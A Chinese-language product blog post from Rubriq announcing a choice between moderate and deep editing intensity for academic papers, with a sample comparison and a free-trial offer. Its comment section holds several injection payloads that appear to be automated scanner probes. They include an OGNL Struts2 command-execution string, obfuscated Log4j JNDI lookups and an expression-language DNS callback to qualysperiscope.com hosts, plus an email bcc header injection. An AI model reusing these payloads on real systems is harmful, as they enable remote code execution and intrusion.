Skip to main content

Rubriq China

登录 / 免费试用
Menu
Menu

Rubriq再更新！满足多样润色需求，“边界感”拉满！

最近，使用 Rubriq 的小伙伴在上传稿件时，可能已经注意到了一个新变化：
在提交论文进行润色时，新增了一个 「编辑强度」 选项——适度润色 和 深度润色：

Rubriq编辑强度选择截图

不少作者肯定会有一些疑问：这两个有什么区别？我该选哪个？
是不是“深度”一定更好？
其实，答案恰恰相反。

为什么要区分「适度」和「深度」？

AJE 在研发 Rubriq 之初，就很明确地希望它是一款真正为学术论文而生的专用工具。刻意避免成为功能堆砌的 “通用型写作软件” 。只关注一件事：如何在不干扰作者学术表达的前提下，提供真正有价值的语言支持。
在与科研作者超过 20 年的持续交流中，我们越来越清楚地认识到一个事实——润色不是改的越多越好，而是刚刚好。
有些作者的稿件已经接近终稿，逻辑清晰、表达成熟，只是零星存在语法错误、搭配不自然或不地道的问题。这类作者最担心的，并不是“改得不够多”，而是改动过度，破坏原有结构和个人表达风格。
但也有另一类作者，尤其是在初稿阶段，论文中不仅存在明显的语法错误，还伴随着大量“科研表述上的常见硬伤”。
正是这两种本质不同的润色需求，促使我们在 Rubriq 中引入了「编辑强度」选项。
需要特别说明的是：无论选择适度润色还是深度润色，价格完全一致，差异只在于修改策略，而非“服务等级”。

适度润色 vs 深度润色：差异在哪？

单纯讲原理并不直观。为此，我们选取了一篇医学领域论文作为样例，同时分别使用适度润色和深度润色进行测试。
需要提前说明的是：
这篇论文在语言层面存在比较明显的问题，因此非常适合用来观察不同润色模式的差异。
我这篇论文用了不到一分钟就搞定了：

rubriq论文润色结果

下载修改稿后，一个最直观的差别是数量差异：

  • 适度润色：266 处修改
  • 深度润色：303 处修改
rubriq的不同润色强度对比图

我们选取了论文中结果部分进行对比。

Comparison of patient enrollment criteria and treatment discontinuation reasons in a clinical study, presented in two languages.

在适度润色模式下，Rubriq 基本保留了原文的句法结构和行文顺序。
修改主要集中在：

  • 基础语法错误
  • 动词时态、单复数不一致
  • 不地道但尚可理解的词汇替换

你会明显感觉到：句子“变顺了”，但没有“被重写”。
对于语言基础尚可、已经反复自查过的稿件来说，这种修改方式非常克制，也非常安全。
而在深度润色模式中，修改的重点已经不再局限于“对不对”，而是进一步考虑：

  • 表达是否符合学术写作惯例
  • 数值变化的描述是否符合严谨的学术表达规范
  • 是否存在口语化表达，及其他不符合学术写作规范的表述

这类修改，往往正是编辑或审稿人在心里“觉得哪里不太对”，却未必会在评审意见中明确指出的问题。

那我到底该选哪个？

可以用下面这个简单判断：

  • 初稿阶段 / 英语写作基础较弱 / 希望整体更像“期刊论文”——选 深度润色，提升最明显
  • 接近终稿 / 已多轮修改 / 希望保留个人风格，仅做小修小补——选 适度润色，更稳妥

说到底，这并不是“哪个更高级”，而是哪个更适合你当前稿件所处的阶段。

我们想强调的，其实是「边界感」

Rubriq 在这次更新中想传递的一个核心理念，就是我们上面提到的：润色不是越多越好，而是刚刚好。现在，你可以自己选择啦！快去试试吧！免费试用14天！

51 Responses

  12. %25{(#_=’multipart/form-data’).(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context[‘com.opensymphony.xwork2.ActionContext.container’]).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#str1=’A2B8C3′).(#str2=’q9d4hi5j’).(#str3=’R9D7e8′).(#str=#str2+’:QQ:’+#str1+’:TT:’+#str3).(#cmd=’echo ‘+ #str).(#iswin=(@java.lang.System@getProperty(‘os.name’).toLowerCase().contains(‘win’))).(#cmds=(#iswin?{‘cmd.exe’,’/c’,#cmd}:{‘/bin/bash’,’-c’,#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}

    Reply

  17. Joe+
    bcc:was_engine@826a3d051af47665bd066c35714ce910de52d496.961360796804823.2843236956.smtphi01.smtp.in1.qualysperiscope.com.

    Reply

  18. ${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://2634347bdf3788aa06eda506f90bbccdcd448b60.961360796804823.2559091245.log4j05.log4j.in1.qualysperiscope.com./QualysWAS}

    Reply

  19. ${jndi:dns://16301c00817cdbd570a32ae99566ec08a9c6eea7.961360796804823.2495941282.log4j09.log4j.in1.qualysperiscope.com./QualysWAS}

    Reply

  25. ${“”.getClass().forName(“java.net.InetAddress”).getMethod(“getByName”,””.getClass()).invoke(“”,”e0b54e477555fad8c53bd8b3ae96b4692e8d2e4f.961360796804823.1802966238.oscomm15079701.oscomm.in1.qualysperiscope.com.”)}

    Reply

Leave a Reply

Your email address will not be published. Required fields are marked *